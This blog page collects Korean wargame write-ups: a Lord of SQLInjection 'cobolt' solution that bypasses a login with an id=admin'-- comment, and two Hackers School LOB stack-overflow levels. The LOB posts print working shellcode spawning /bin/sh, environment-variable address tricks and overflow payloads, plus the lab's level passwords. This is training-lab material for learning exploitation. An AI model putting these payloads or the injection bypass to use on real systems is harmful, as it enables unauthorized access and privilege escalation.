반응형
반응형
반응형

https://los.rubiya.kr

 

Lord of SQLInjection

 

los.rubiya.kr

 

 

1
2
3
4
5
6
7
8
9
10
11
12
13
<?php
  include "./config.php"
  login_chk();
  $db = dbconnect();
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[id])) exit("No Hack ~_~"); 
  if(preg_match('/prob|_|\.|\(\)/i'$_GET[pw])) exit("No Hack ~_~"); 
  $query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')"
  echo "<hr>query : <strong>{$query}</strong><hr><br>"
  $result = @mysqli_fetch_array(mysqli_query($db,$query)); 
  if($result['id'== 'admin') solve("cobolt");
  elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>"
  highlight_file(__FILE__); 
?>
cs

 

if($result['id'== 'admin') solve("cobolt");

 

일단 id는 admin

 

 

 

pw는 md5()해쉬값이다.

 

pw를 true로 만들어주기 위해서 1') or '1'='1을 입력해주었다.

 

그러면 query : select id from prob_cobolt where id='admin' and pw=md5('1') or '1'='1')

이렇게 되면서 뒤에 )가 남게 된다. 그래서 뒤에도 md5를 붙여주었다.

 

 

 

 

 

그러면 쿼리는 맞는데 id가 rubiya로 나오면서 풀리지 않는다.

query : select id from prob_cobolt where id='admin' and pw=md5('1') or md5('1')=md5('1')

Hello rubiya
You are not admin :(

 

 

그래서 그냥 pw부분을 주석처리 했다.

 

id=admin%27--%20

 

풀린다.

 

 

반응형
반응형


해커스쿨 LOB LEVEL3 [cobolt -> goblin] 풀이


M4ndU




해커스쿨 LOB [cobolt -> goblin] 풀이입니다.


ID | cobolt

PW | hacking exposed


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: cobolt

Password:

[cobolt@localhost cobolt]$ bash2

[cobolt@localhost cobolt]$ ls -l

total 16

-rwsr-sr-x    1 goblin   goblin      11824 Feb 26  2010 goblin

-rw-r--r--    1 root     root          193 Mar 29  2010 goblin.c

[cobolt@localhost cobolt]$ cat goblin.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - goblin

        - small buffer + stdin

*/


int main()

{

    char buffer[16];

    gets(buffer);

    printf("%s\n", buffer);

}




저번과 같은데 입력을 gets함수로 받네요. 

환경변수 설정하겠습니다. 이번에도 41바이트 쉘코드를 사용합니다.



[cobolt@localhost cobolt]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`

[cobolt@localhost cobolt]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c

[cobolt@localhost cobolt]$ gcc getenv.c -o getenv

[cobolt@localhost cobolt]$ ./getenv

ADDR -> 0xbffffea7




[cobolt@localhost cobolt]$ (python -c 'print "A"*20+"\xa7\xfe\xff\xbf"'; cat) | ./goblin

AAAAAAAAAAAAAAAAAAAA??

my-pass

euid = 503

hackers proof


다음레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏ

반응형
반응형


해커스쿨 LOB LEVEL2 [gremlin -> cobolt] 풀이


M4ndU




해커스쿨 LOB [gremlin -> cobolt] 풀이입니다.


ID | gremlin

PW | hello bof world


으로 로그인합니다.



\xff 를 \x00으로 인식하는 오류를 피해 bash2를 사용합니다.


$ bash2


그리고


$ ls -l


를 이용해  어떤 파일과 어떤 폴더가 있는지 확인하고,


$ cat [문제이름].c


를 이용해 소스코드를 확인합시다.




login: gremlin

Password:

[gremlin@localhost gremlin]$ bash2

[gremlin@localhost gremlin]$ ls -l

total 16

-rwsr-sr-x    1 cobolt   cobolt      11970 Feb 26  2010 cobolt

-rw-r--r--    1 gremlin  gremlin       291 Mar 29  2010 cobolt.c

[gremlin@localhost gremlin]$ cat cobolt.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - cobolt

        - small buffer

*/


int main(int argc, char *argv[])

{

    char buffer[16];

    if(argc < 2){

        printf("argv error\n");

        exit(0);

    }

    strcpy(buffer, argv[1]);

    printf("%s\n", buffer);

}


이번엔 버퍼가 16밖에 되지 않네요. 하지만 환경변수를 사용하면 버퍼의 크기는 상관이 없습니다!

gdb를 통해 buffer와 리턴주소간 거리를 구해봅시다.


[gremlin@localhost gremlin]$ gdb -q cobolt
(gdb) set disassembly-flavor intel
(gdb) disas main
Dump of assembler code for function main:
0x8048430 <main>:       push   %ebp
0x8048431 <main+1>:     mov    %ebp,%esp
0x8048433 <main+3>:     sub    %esp,16
0x8048436 <main+6>:     cmp    DWORD PTR [%ebp+8],1
0x804843a <main+10>:    jg     0x8048453 <main+35>
0x804843c <main+12>:    push   0x80484d0
0x8048441 <main+17>:    call   0x8048350 <printf>
0x8048446 <main+22>:    add    %esp,4
0x8048449 <main+25>:    push   0
0x804844b <main+27>:    call   0x8048360 <exit>
0x8048450 <main+32>:    add    %esp,4
0x8048453 <main+35>:    mov    %eax,DWORD PTR [%ebp+12]
0x8048456 <main+38>:    add    %eax,4
0x8048459 <main+41>:    mov    %edx,DWORD PTR [%eax]
0x804845b <main+43>:    push   %edx
0x804845c <main+44>:    lea    %eax,[%ebp-16]
0x804845f <main+47>:    push   %eax
0x8048460 <main+48>:    call   0x8048370 <strcpy>
0x8048465 <main+53>:    add    %esp,8
0x8048468 <main+56>:    lea    %eax,[%ebp-16]
0x804846b <main+59>:    push   %eax
0x804846c <main+60>:    push   0x80484dc
---Type <return> to continue, or q <return> to quit---
0x8048471 <main+65>:    call   0x8048350 <printf>
0x8048476 <main+70>:    add    %esp,8
0x8048479 <main+73>:    leave
0x804847a <main+74>:    ret

buffer가 ebp-16이니 dummy가 없네요.

바로 환경변수 설정해 줍시다. 이번에도 41바이트 쉘코드를 사용했습니다.


[gremlin@localhost gremlin]$ mkdir tmp
[gremlin@localhost gremlin]$ cd tmp
[gremlin@localhost tmp]$ export EGG=`python -c 'print "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80"'`
[gremlin@localhost tmp]$ echo 'int main() { printf("ADDR -> 0x%x\n", getenv("EGG")); } ' > getenv.c
[gremlin@localhost tmp]$ gcc getenv.c -o getenv
[gremlin@localhost tmp]$ ./getenv
ADDR -> 0xbffffe8d


[gremlin@localhost tmp]$ cd ..

[gremlin@localhost gremlin]$ ./cobolt `python -c 'print "A"*20+"\x8d\xfe\xff\xbf"'`

AAAAAAAAAAAAAAAAAAAA랞?

bash$ my-pass

euid = 502

hacking exposed



깔끔

다음레벨로 가즈아ㅏㅏ


반응형

+ Recent posts